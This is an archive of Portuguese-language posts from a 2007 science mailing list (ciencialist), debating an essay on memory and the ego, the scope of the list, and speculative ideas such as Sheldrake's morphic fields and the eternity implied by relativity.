programão pessoal que o seu cérebro tem de interação
com o mundo é o seu ego. Ou seja, seu ego é a
somatória de raciocínios de causa e efeito que foram
criados e memorizados a partir de suas experiências.



O Ego não seria a percepção deste 'programão'?



Dentro do cérebro, seu ego é feito de incontáveis
impulsos neurais ligados uns aos outros. Cada um
desses impulsos neurais (raciocínios) diz ao seu
cérebro: SE isto, LOGO aquilo. Quando alguém sorri pra
você, por exemplo, seu cérebro pode raciocinar assim:
"SE sorriu, LOGO, gosta de mim", e seguindo esta
regra, faz você sorrir de volta. Quando você vê uma
tomada na parede, seu cérebro pode raciocinar: "SE
colocar o dedo, LOGO, leva choque". Adultos não
colocam mais o dedo na tomada. Ego escaldado tem medo
de água fria. Mas isto explica porque as crianças
colocam, elas ainda não possui este raciocínio
memórizado.



Se o silogismo fosse todo a forma de processamento cerebral, estaríamos feitos!

Contudo um neurônio é menos do que um silogismo simples e mais do que um transistor.

Assim como é necessário definir o que são livros para explicar o que é uma enciclopédia em termos de páginas, tb é necessário definir outros mecanismos para explicar o que é cérebro em termos de neurônios.

- - - - - - -

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SUBJECT: Re: [ciencialist] A Memória e o Ego ::: (artigo)
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 14:45

Acho que o texto não ficou bem formatado. Segue com outra formatação.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 2:25 PM
Subject: Re: [ciencialist] A Memória e o Ego ::: (artigo)


Ferrari,

Seguem meus comentários intercalados.

Abrs,

Sardeiro

----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 1:10 PM
Subject: [ciencialist] A Memória e o Ego ::: (artigo)

A MEMÓRIA E O EGO - por Ferrari
(sobre memorização do raciocínio)

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> Lembra de quando você era criança e não sabia falar ou
> andar? Nem lembra, não é mesmo? Agora pense na sua
> vida adulta e em todos seus complexos comportamentos.
> Você anda, fala, escova os dentes, amarra os sapatos,
> torce pro flamengo, faz cálculos matemáticos, faz
> sexo, faz a tabuada do sete, sabe as horas, se
> preocupa se está atrasado, liga o carro, dirige, toca
> violão, faz perguntas, dá respostas, etc. Como é que
> todas esses complexos comportamentos foram parar
> dentro de você se você não veio com eles de fábrica?

Durante a primeira infância realmente não é possível perceber os processos
iniciais de aprendizagem, os quais são processos fisiológicos advindos
geneticamente. A criança sabe mas não sabe que sabe.

A propósito foi anunciado recentemente a evidencialização do gene
responsável pelos processos primários da aprendizagem.

Continuando: a partir da segunda infância começa a formação da consciência.
A parti daí, o indivíduo já começa a perceber e a moldar os processos
secundários de aprendizagem. O indivíduo começa a saber que sabe.

Em outras palavras, a partir da segunda infância, o indivíduo sabe sim como
comportamentos complexos foram parar dentro de si. Tanto é que ele pode
recusar comportamentos indesejáveis.

> Simples, deste a infância eles vem sendo construindos
> e alimentados através do seu raciocínio e da sua
> memória. Cada vez que seu cérebro passa por uma
> experiência, ele executa um raciocínio sobre a mesma,
> e é assim que os programas mentais que controlam o seu
> comportamento são instalados dentro da sua memória.
> Quanto mais seu cérebro repete um determinado grupo de
> raciocínios, mais fortes, eficientes e invisíveis os
> raciocínios que controlam o seu comportamento se
> tornam. É por isto, por exemplo, que você fala
> português, e fala bem, mas sequer sabe como fala.

A palavra 'racioncínio' está sendo empregada como a idéia de 'aprender com
consciência'?

No meu caso, eu falo português e sei como falo. Sei inclusive e exatamente
quais as cordas vocais que uso. Consegui a compreensão de todo o processo
após me instruir sobre a anatomia da fala, mas acredito que outros possam
compreender por outros meios. Não é nada impossível.

> Então, se você somar todos os programas mentais que
> habitam sua memória numa programa mental só, terá um
> programão pessoal que governa a maneira particular que
> o seu cérebro tem de interagir com o mundo. Este
> programão pessoal que o seu cérebro tem de interação
> com o mundo é o seu ego. Ou seja, seu ego é a
> somatória de raciocínios de causa e efeito que foram
> criados e memorizados a partir de suas experiências.

O Ego não seria a percepção deste 'programão'?

> Dentro do cérebro, seu ego é feito de incontáveis
> impulsos neurais ligados uns aos outros. Cada um
> desses impulsos neurais (raciocínios) diz ao seu
> cérebro: SE isto, LOGO aquilo. Quando alguém sorri pra
> você, por exemplo, seu cérebro pode raciocinar assim:
> "SE sorriu, LOGO, gosta de mim", e seguindo esta
> regra, faz você sorrir de volta. Quando você vê uma
> tomada na parede, seu cérebro pode raciocinar: "SE
> colocar o dedo, LOGO, leva choque". Adultos não
> colocam mais o dedo na tomada. Ego escaldado tem medo
> de água fria. Mas isto explica porque as crianças
> colocam, elas ainda não possui este raciocínio
> memórizado.

Se o silogismo fosse todo a forma de processamento cerebral, estaríamos
feitos!

Contudo um neurônio é menos do que um silogismo simples e mais do que um
transistor.

Assim como é necessário definir o que são livros para explicar o que é uma
enciclopédia em termos de páginas, tb é necessário definir outros mecanismos
para explicar o que é cérebro em termos de neurônios.

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SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 15:02

Qual o problema? Bem, o problema é que você está em uma lista de ciências,
não em
uma lista de artes ou de PNL!

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 09, 2007 9:56 AM
Subject: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método
cientifico e o tempo)


> Olá Alvaro!
>
> Alvaro >>> Entendo perfeitamente que você está
> tentando falar sobre método científico, não sobre
> física. Mas uma pessoa que usa somente um lado da
> "história da maçã" não me parece ter muito método...
> nem ciência.
>
> --- Alvaro, volto a dizer, a história neste artigo não
> é para postular ou explicar a gravitação, mas apenas
> para ilustrar a relação entre o raciocinio e o método
> cientifico. Talvez, voce, por ser fisico, sinta falta
> de uma profundidade na questão da gravitação, mas não
> é este o intuito do artigo. O intuito do artigo é
> mostrar que se observa (o sempre), depois se
> raciocina, se teoriza, e a teoria passa a servir de
> método de previsão. O outro lado da história, é outra
> história.
>
> Alvaro >>> Note: isso não é física, nem filosofia
> avançada. Qualquer um que já leu Marcelo Gleiser ou
> Carl Sagan deve saber a versão completa da "história
> da maçã".
>
> --- Ok. Eles escrevem com este objetivo. O meu
> objetivo foi outro. Qual o problema?
>
>
>
> sinceramente
> ferrari
>
>
>
> - - - - - - - - - - - - - - -
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SUBJECT: Material, imaterial e amaterial/Era Re: E=m.c2
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 15:23

Olá, Manuel.

> Quanto a esse campo "órfico" que você aludiu, uma espécie de
"limbo"
> onde subsistiriam os fantasmas - "ecos" de subjetividades - e,
> talvez, as almas entre uma encarnação e outra, sou bastante cético
> com relação a isso, apesar de achar a idéia bastante poética.

É campo mórfico! (Órfico fica parecendo referente a Orfeu) É uma
teoria de Rupert Sheldrake. Segundo ele, têm umas experiências
simples de se realizar que sugerem a existência de um campo no qual
as coisas deixariam ecos, incluindo as redes neuronais do cérebro. De
acordo com ele, as coisas seriam influenciadas por esse campo. O
exemplo mais intrigante, que não sei se realmente é verdade, diz
respeito à cristalização de substâncias. Quando se cria uma nova
molécula, sua cristalização é lenta. Mas à medida que novas
cristalizações vão sendo feitas, ela vai ficando mais rápida. A
explicação oficial seria que pequenos pedaços de cristal ficam nas
roupas dos cientistas, nas barbas, no ar, e atuam como catalisadores
de cristalizações posteriores. Sheldrake diz que o fenômeno se deve
ao fato de que os cristais deixam uma espécie de ressonância em um
campo, e as moléculas seriam afetadas por esta ressonância.

A teoria também poderia explicar porque, em alguns casos, a mesma
idéia surge em vários lugares de forma independente. Lembro do caso
de Newton e Leibniz, mas existem outros.

Quanto ao fenômeno da reencarnação, um cérebro em formação poderia
sofrer interferências de cérebros passados que estariam ecoando pelo
campo, assim ele apresentaria semelhanças com o cérebro dessas
pessoas. É uma explicação meio capenga, pois não explica porque o
cérebro sofreria interferência de alguns cérebros, e não de outros
(talvez algum padrão genético possa determinar isso), mas se o
fenômeno da reencarnação for comprovado, essa seria pelo menos uma
forma de jogar alguma luz sobre o fenômeno.

> Menos incerta que essa crença, porém, é a idéia de "eternidade" que
> se pode deduzir da Teoria da Relatividade de Einstein. De acordo
com
> essa teoria - que pode ser refutada a qualquer momento -, não
existe
> um "agora" absoluto e o "fluxo" do tempo (a divisão entre passado,
> presente e futuro) não é o próprio tempo, mas tão-somente
> a "sensação" que temos dele, ou melhor, a maneira como
experimentamos
> a sua "assimetria" termodinâmica. De sorte que, independentemente
do
> nascimento e da morte, tudo o que foi, é e será "está existindo",
"ab
> aeterno" e "ad aeternum", neste presente contínuo que é o
"continuum"
> espaçotemporal. Ok, a coisa é complicada, mas nesta lista temos
> físicos que podem esclarecer essa questão.

É complicado mesmo. Mas quando falei de eternidade, estava usando uma
figura de linguagem (não sei qual é o nome que se dá a esse tipo: "um
milhão de anos é quase uma eternidade"), embora o cara do ponto ômega
(não falo do Teilhard de Chardin, e sim de um outro, Frank J.
Tipler), este sim fala de umas coisas referentes à eternidade. Mas
meu ponto era simplesmente mostrar que podemos voltar a existir no
futuro através da reconstituição de nossos padrões informacionais.

> Um poema de Kepler:

> "A geometria existia antes da criação.
> É tão eterna como o pensamento de Deus.
> A geometria deu a deus um modelo para a criação.
> A geometria é o próprio Deus."

Estou com Kepler! Se ele morasse na Itália, seria queimado por isso.

Saudações.
João de Carvalho